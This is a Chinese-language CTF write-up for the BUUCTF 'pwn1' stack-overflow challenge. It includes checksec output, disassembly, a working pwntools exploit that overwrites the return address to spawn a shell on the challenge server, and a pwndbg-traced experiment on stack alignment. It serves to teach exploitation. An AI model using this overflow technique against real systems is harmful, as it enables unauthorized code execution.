label2-pwn1

考点

  • 常规栈溢出原理

  • pwntools使用

    • 学习基本python语法
    • 熟悉pwntools提供的接口
  • pwndbg使用

    • 推荐配合splitmind使用, 界面更加简洁
  • 堆栈平衡原理

WP

查看二进制文件安全属性

lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/CTF/BUU/PWN/label2$ checksec pwn1
[*] '/mnt/e/Try/DownLoad/CTF/BUU/PWN/label2/pwn1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

查看main函数

gets()函数属于不安全函数, 可以直接利用, 接下来需要找到目标利用函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[15]; // [rsp+1h] [rbp-Fh] BYREF

  puts("please input");
  gets(s, argv);
  puts(s);
  puts("ok,bye!!!");
  return 0;
}

就在main函数下方存在一个fun函数, 可以利用该函数获取shell. (可以通过字符串查询等方式找到该函数)

int fun()
{
  return system("/bin/sh");
}

查看main函数的栈布局

确定了我们需要填充15(局部变量空间) + 8(EBP栈空间) = 23个字节, 然后在加上8字节数据填充返回地址

-0000000000000010 db ? ; undefined      # 多出一个字节用于对齐
-000000000000000F s db ?
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 db ? ; undefined
-0000000000000003 db ? ; undefined
-0000000000000002 db ? ; undefined
-0000000000000001 db ? ; undefined
+0000000000000000  s db 8 dup(?)        # 变量所占栈空间15字节
+0000000000000008  r db 8 dup(?)        # 栈帧存放位置
+0000000000000010						# 返回地址存放位置
+0000000000000010 ; end of stack variables

查看fun函数的汇编代码, 确定跳转地址

.text:0000000000401186                               ; int fun()
.text:0000000000401186                               public fun
.text:0000000000401186                               fun proc near
.text:0000000000401186                               ; __unwind {
.text:0000000000401186 55                            push    rbp
.text:0000000000401187 48 89 E5                      mov     rbp, rsp
.text:000000000040118A 48 8D 3D 8A 0E 00 00          lea     rdi, command                    ; "/bin/sh"
.text:0000000000401191 E8 AA FE FF FF                call    _system
.text:0000000000401191
.text:0000000000401196 90                            nop
.text:0000000000401197 5D                            pop     rbp
.text:0000000000401198 C3                            retn
.text:0000000000401198                               ; } // starts at 401186

由于堆栈平衡, 需要跳转到0x000000000040118A地址处

编写exploit

  1 from pwn import *
  2
  3 #conn = process('pwn1')
  4 conn = remote('node4.buuoj.cn', 29198)
  5
  6 payload = b'A' * 23 + p64(0x40118A)
  7
  8 conn.sendline(payload)
  9
 10 conn.interactive()

在shell中执行cat flag命令, 最终获取flag

下面时关于堆栈平衡的一个实验, 目的是想看一看堆栈平衡的原因和结果.

堆栈平衡实验

实验是粗略设计, 可能包含很多的问题, 望指正.

前置汇编知识

为了理解栈平衡的原理, 首先需要把函数调用的流程梳理一遍, 同时拆解一些复合指令(比如: call是由多条底层指令复合而成, 需要将其替换成"原子指令"), 了解其具体操作过程.

下面是x86函数的调用过程(来自逆向核心工程原理的"栈帧"章节实验):

  • 将参数逆序压入栈中

  • 调用函数 (call指令)

  • 执行函数体

    • 执行函数后先将EBP压入栈中 (修改了栈)
    • 将ESP的值传给EBP形成当前函数的栈帧
    • 腾出变量空间 (修改了ESP)
    • 执行函数内的语句
    • 将"新EBP"的值给ESP,栈顶回到起点
    • 弹出"老EBP"的值给EBP,又变回了"老EBP"
    • 返回调用者函数 (retn指令)
  • 调用者清除传入的参数(调用协定),这时ESP回到原来的位置 (一般是调用者add ESP, n清除)

  • 注意: x86很x64的调用约定存在不同(比如: 传参约定), 但是重点应该关注调用, 返回, 局部变量对栈的影响.

Call指令

call    eax;

等同于

push    retrun_address; # 返回地址 = call指令地址 + call指令长度 = 下条指令地址
jmp     eax; # 跳转到调用函数地址处, 并继续执行

重点: Call指令会修改栈空间, 改变ESP的值

Retn指令

retn;

等同于

pop    eip; # eip就是程序计数器

重点: Retn指令也会修改栈空间, 改变ESP的值

Leave指令

leave;

等同于

mov    esp, ebp; # 通过栈帧恢复esp
pop    ebp; # 恢复调用者栈帧ebp

简介

主要是为了验证堆栈平衡的作用, 按照执行流程介绍函数:

  • main(): 程序执行的入口点
  • test1(): mian()调用该函数, 且该函数读取输入并可造成栈溢出
  • test2(): 栈溢出的目标程序, 在其中执行的逻辑任意, 最好可以再调用一个函数
  • test3(): test2调用的函数, 没有栈平衡该函数可能执行错误.

编译

文件源码

  1 #include <stdio.h>
  2
  3 void test1();
  4 void test2();
  5 void test3();
  6
  7 int main() {
  8         test1();
  9         return 0;
 10 }
 11
 12 void test1() {
 13         char inp[15] = {0};
 14         printf("please input: ");
 15         gets(inp);
 16         printf("inp = %s\n", inp);
 17 }
 18
 19 void test2() {
 20         int a = 0;
 21         test3();
 22 }
 23
 24 void test3() {
 25         int b = 0;
 26         printf("okkk\n");
 27 }

编译

gcc -O0 -fno-stack-protector -no-pie lab.c -o lab
  • -O0: 取消优化
  • -fno-stack-protector: 禁用栈保护
  • -no-pie: 禁用地址随机

调试

main函数

首先查看main的汇编代码

pwndbg> disass main                                                                                                                                                                                              │
Dump of assembler code for function main:                                                                                                                                                                        │
   0x0000000000401176 <+0>:     endbr64                                                                                                                                                                          │
   0x000000000040117a <+4>:     push   rbp               # 保存栈帧                                                                                                                                                        │
   0x000000000040117b <+5>:     mov    rbp,rsp           # 设置新栈帧(main)                                                                                                                                                        │
=> 0x000000000040117e <+8>:     mov    eax,0x0   0x0000000000401183 <+13>:    call   0x40118f <test1>  # 调用test函数 (使用上面的原子指令替换)
								  # 原子指令替换
								  push   0x0000000000401188
								  jmp    0x40118f <test1>                                                                                                                                                        │
   0x0000000000401188 <+18>:    mov    eax,0x0   0x000000000040118d <+23>:    pop    rbp                                                                                                                                                                       │
   0x000000000040118e <+24>:    ret                                                                                                                                                                              │
End of assembler dump.

开始调试后查看栈空间

  • │00:0000│ rbp rsp 0x7fffffffd660 ◂— 0x1​: 压入栈中的main栈帧
  • │01:0008│ 0x7fffffffd668 —▸ 0x7ffff7db2d90 (__libc_start_call_m 0x401183 <main+13>​: main函数的返回地址
00:0000│ rbp rsp 0x7fffffffd660 ◂— 0x1                                                                                                
01:00080x7fffffffd668 —▸ 0x7ffff7db2d90 (__libc_start_call_m   0x401183 <main+13>
02:00100x7fffffffd670 ◂— 0x0
03:00180x7fffffffd678 —▸ 0x401176 (main) ◂— endbr64
04:00200x7fffffffd680 ◂— 0x1ffffd760
05:00280x7fffffffd688 —▸ 0x7fffffffd778 —▸ 0x7fffffffda3f ◂— '/mnt/e/Try/DownLoad/CTF/BUU/PWN/label2/lab/lab'                                                                                      
06:00300x7fffffffd690 ◂— 0x0
07:00380x7fffffffd698 ◂— 0x35a0835680adf95b

调用test1()

在上面的main汇编中等效替换的call指令

   0x0000000000401183 <+13>:    call   0x40118f <test1>  # 调用test函数 (使用上面的原子指令替换)
								  # 原子指令替换
								  push   0x0000000000401188
								  jmp    0x40118f <test1>   

查看堆栈

  • │00:0000│ rsp 0x7fffffffd658 —▸ 0x401188 (main+18)​: test1()的返回地址, 也就是call指令的下一条指令
  • │01:0008│ rbp 0x7fffffffd660 ◂— 0x1​: 在main函数中, 压入栈中的main栈帧
  • │02:0010│ 0x7fffffffd668 —▸ 0x7ffff7db2d90​: main函数的返回地址, 指向start函数中的call指令的下一条指令
00:0000│ rsp 0x7fffffffd658 —▸ 0x401188 (main+18) ◂— mov eax, 0
01:0008│ rbp 0x7fffffffd660 ◂— 0x1
02:00100x7fffffffd668 —▸ 0x7ffff7db2d90 (__libc_start_call_main+128) ◂— mov edi, eax
03:00180x7fffffffd670 ◂— 0x0
04:00200x7fffffffd678 —▸ 0x401176 (main) ◂— endbr64
05:00280x7fffffffd680 ◂— 0x1ffffd760

test1函数

下面是test1()的汇编代码

Dump of assembler code for function test1:                                                                                                                                                                       │
=> 0x000000000040118f <+0>:     endbr64                                                                                                                                                                          │
   0x0000000000401193 <+4>:     push   rbp                                  # 保存调用者栈帧, 即main的栈帧                                                                                                                                     │
   0x0000000000401194 <+5>:     mov    rbp,rsp                              # 构建test1的栈帧                                                                                                                                     │
   0x0000000000401197 <+8>:     sub    rsp,0x10                             # 扩展栈空间, 用于存储局部变量                                                                                                                                     │
   0x000000000040119b <+12>:    mov    QWORD PTR [rbp-0xf],0x0              # 局部变量初始化                                                                                                                                     │
   0x00000000004011a3 <+20>:    mov    DWORD PTR [rbp-0x7],0x0   0x00000000004011aa <+27>:    mov    WORD PTR [rbp-0x3],0x0   0x00000000004011b0 <+33>:    mov    BYTE PTR [rbp-0x1],0x0   0x00000000004011b4 <+37>:    lea    rax,[rip+0xe49]        # 0x402004    # "pease input: "字符串指针                                                                                                                                     │
   0x00000000004011bb <+44>:    mov    rdi,rax                              # 字符串指针作为第一个参数                                                                                                                                     │
   0x00000000004011be <+47>:    mov    eax,0x0   0x00000000004011c3 <+52>:    call   0x401070 <printf@plt>                # 调用printf                                                                                                                                     │
   0x00000000004011c8 <+57>:    lea    rax,[rbp-0xf]                        # 传入局部变量inp的指针                                                                                                                                     │
   0x00000000004011cc <+61>:    mov    rdi,rax                              # inp指针作为第一个参数                                                                                                                                     │
   0x00000000004011cf <+64>:    mov    eax,0x0
   0x00000000004011d4 <+69>:    call   0x401080 <gets@plt>                  # 调用gets函数, 在这里可以构成栈溢出                                                                                                                                     │
   0x00000000004011d9 <+74>:    lea    rax,[rbp-0xf]                                                                                                                                                             │
   0x00000000004011dd <+78>:    mov    rsi,rax                                                                                                                                                                   │
   0x00000000004011e0 <+81>:    lea    rax,[rip+0xe2c]        # 0x402013   0x00000000004011e7 <+88>:    mov    rdi,rax                                                                                                                                                                   │
   0x00000000004011ea <+91>:    mov    eax,0x0   0x00000000004011ef <+96>:    call   0x401070 <printf@plt>                # 调用printf, 打印输入字符串                                                                                                                                     │
   0x00000000004011f4 <+101>:   nop                                                                                                                                                                              │
   0x00000000004011f5 <+102>:   leave                                                                                                                                                                            │
   0x00000000004011f6 <+103>:   ret

一直执行到局部变量初始化完成, 查看栈中内容, 从上往下依次

  • test1()的栈

    • 为inp变量开辟的栈空间, 由于inp变量长度只有15, 栈顶的8个字节中占7字节, 最低的字节0x7fffffffd640​没有零初始化, 所以是0x29
    • 为inp变量开辟的栈空间, 零初始化, 8字节都为0
    • 存储调用者的栈帧, 即main的栈帧
    • 存储test1()的返回地址
  • main()的栈

    • 存储调用者的栈帧, 即start的栈帧
    • 存储main()的返回地址
00:0000│ rsp 0x7fffffffd640 ◂— 0x29 /* ')' */
01:00080x7fffffffd648 ◂— 0x0
02:0010│ rbp 0x7fffffffd650 —▸ 0x7fffffffd660 ◂— 0x1
03:00180x7fffffffd658 —▸ 0x401188 (main+18) ◂— mov eax, 0
04:00200x7fffffffd660 ◂— 0x1
05:00280x7fffffffd668 —▸ 0x7ffff7db2d90 (__libc_start_call_main+│128) ◂— mov edi, eax

下面调用了printf和gets函数会在栈顶继续生成新的栈帧, 与test1()和main()的关系类似

栈溢出

目标是通过栈溢出漏洞调用test2(), 首先查看其汇编代码, 以及地址

pwndbg> disass test2                                                                                                                                                                                             │
Dump of assembler code for function test2:                                                                                                                                                                       │
   0x00000000004011f7 <+0>:     endbr64                                                                                                                                                                          │
   0x00000000004011fb <+4>:     push   rbp                                                                                                                                                                       │
   0x00000000004011fc <+5>:     mov    rbp,rsp                                                                                                                                                                   │
   0x00000000004011ff <+8>:     sub    rsp,0x10   0x0000000000401203 <+12>:    mov    DWORD PTR [rbp-0x4],0x0   0x000000000040120a <+19>:    mov    eax,0x0   0x000000000040120f <+24>:    call   0x401217 <test3>           # 调用了test3()                                                                                                                                               │
   0x0000000000401214 <+29>:    nop                                                                                                                                                                              │
   0x0000000000401215 <+30>:    leave                                                                                                                                                                            │
   0x0000000000401216 <+31>:    ret                                                                                                                                                                              │
End of assembler dump.

gets()函数本身无法影响test1()的栈, 但是它会修改inp局部变量, 溢出后可以覆盖掉test1()的返回地址, 然后返回到其他函数.

可以通过输入进行栈覆盖, 也可以直接使用gdb的set命令来修改内存.

已知test1()函数返回地址的内存地址是0x7fffffffd658​, 则要利用栈溢出漏洞调用的函数是test2(), 其地址通过disass查看为0x00000000004011f7

修改完成后, 查看栈空间内存, 地址0x7fffffffd658​存储的返回地址已经被修改成了test2的地址

00:0000│ rsp 0x7fffffffd640 ◂— ')aaaaaaaaaaaaaaa'
01:00080x7fffffffd648 ◂— 'aaaaaaaa'
02:0010│ rbp 0x7fffffffd650 —▸ 0x7fffffffd600 —▸ 0x400040 ◂— 0x400000006
03:00180x7fffffffd658 —▸ 0x4011f7 (test2) ◂— endbr64
04:00200x7fffffffd660 ◂— 0x1
05:00280x7fffffffd668 —▸ 0x7ffff7db2d90 (__libc_start_call_main+128) ◂— mov edi, eax
06:00300x7fffffffd670 ◂— 0x0
07:00380x7fffffffd678 —▸ 0x401176 (main) ◂— endbr64

执行test1()的leave指令后, 再次查看栈空间.

rsp已经回退到之前rbp的位置, 随后pop恢复main的栈帧, 所以rsp又往下压了8字节, 为了与上一个栈视图对齐, 前三行使用nop填充.

							nop
							nop
							nop
00:0000│ rsp 0x7fffffffd658 —▸ 0x4011f7 (test2) ◂— endbr64
01:00080x7fffffffd660 ◂— 0x1
02:00100x7fffffffd668 —▸ 0x7ffff7db2d90 (__libc_start_call_main+

最后执行retn指令, 弹出返回地址, 并跳转到了test2()函数中.

此时的rsp和rbp都属于main函数, 也就是说当前的栈空间属于main

如果执行test2()开头的push rbp指令的话相当于在main函数的执行逻辑中push了一个新的值进去, 导致最后leave指令执行完成后, rsp指向的是多push进去的值.

当执行到test2()的retn指令时的栈空间

00:0000│ rsp 0x7fffffffd660 ◂— 0x1                                             # 多push进去的ebp值
01:00080x7fffffffd668 —▸ 0x7ffff7db2d90 (__libc_start_call_main+│128)    # main函数的返回地址
02:00100x7fffffffd670 ◂— 0x0

所以最终返回0x0000000000000001地址处, 触发中断导致程序运行失败

堆栈平衡流程图

入口点是刚跳转到test2()函数时的栈空间, 由于是直接retn跳转到test2()函数的, 所以少一个关键的call指令(即把返回地址push进堆栈中). 所以当PC直接从test2()起始执行的结果是: 当leave指令结束后, RSP和RBP都会恢复为mian函数时的值, RSP指向的是栈扩展后的变量区域, 而不是返回地址, retn弹出的是变量中的值.

b13f9ed3bc8cde399a3b81784da86dab_720而如果跳过前面的栈帧初始化操作, 结尾的leave实际上清除了main函数的栈帧, 并返回main函数的返回地址, 直接跳转至start()函数.